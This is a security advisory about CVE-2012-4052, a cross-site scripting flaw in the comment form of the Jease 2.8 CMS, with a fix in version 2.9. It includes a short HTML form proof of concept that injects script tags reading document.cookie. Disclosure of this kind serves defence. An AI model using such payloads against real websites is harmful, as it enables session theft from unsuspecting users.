Cross-Site Scripting (XSS) in Jease

2012-09-03T00:00:00
ID SECURITYVULNS:DOC:28477
Type securityvulns
Reporter Securityvulns
Modified 2012-09-03T00:00:00

Description

Advisory ID: HTB23104 Product: Jease Vendor: jease.org Vulnerable Version(s): 2.8 and probably prior Tested Version: 2.8 Vendor Notification: July 25, 2012 Public Disclosure: August 15, 2012 Vulnerability Type: Cross-Site Scripting [CWE-79] CVE Reference: CVE-2012-4052 CVSSv2 Base Score: 4.3 (AV:N/AC:M/Au:N/C:N/I:P/A:N) Solution Status: Fixed by Vendor Risk Level: Medium Discovered and Provided: High-Tech Bridge Security Research Lab ( https://www.htbridge.com/advisory/ )


Advisory Details:

High-Tech Bridge Security Research Lab discovered vulnerability in Jease, which can be exploited to perform Cross-Site Scripting (XSS) attacks.

1) Cross-Site Scripting (XSS) in Jease: CVE-2012-4052

Input passed via the "author", "subject" and "comment" POST parameters when creating a new comment is not properly sanitised before being returned to the user. This can be exploited to execute arbitrary HTML and script code in user's browser session in context of an affected website.

The following PoC (Proof of Concept) demonstrates the vulnerability:

<form action="http://[host]:8080/blog/" method="post" name="main" id="main"> <input type="hidden" name="author-467844289" value='"><script>alert(document.cookie);</script>'> <input type="hidden" name="subject-467844289" value='"><script>alert(document.cookie);</script>'> <input type="hidden" name="comment-467844289" value='"></textarea><script>alert(document.cookie);</script>'> <input type="submit" name="Submit" value="Send"> </form>


Solution:

Upgrade to Jease 2.9

More Information: http://www.jease.org/download/2.9/ https://groups.google.com/forum/?fromgroups#!topic/jease/2BHaDww-5ac


References:

[1] High-Tech Bridge Advisory HTB23104 - https://www.htbridge.com/advisory/HTB23104 - Cross-Site Scripting (XSS) in Jease. [2] Jease - http://jease.org/ - Jease is an Open Source Content-Management-System which is driven by the power of Java. [3] Common Vulnerabilities and Exposures (CVE) - http://cve.mitre.org/ - international in scope and free for public use, CVE® is a dictionary of publicly known information security vulnerabilities and exposures.


Disclaimer: The information provided in this Advisory is provided "as is" and without any warranty of any kind. Details of this Advisory may be updated in order to provide as accurate information as possible. The latest version of the Advisory is available on web page [1] in the References.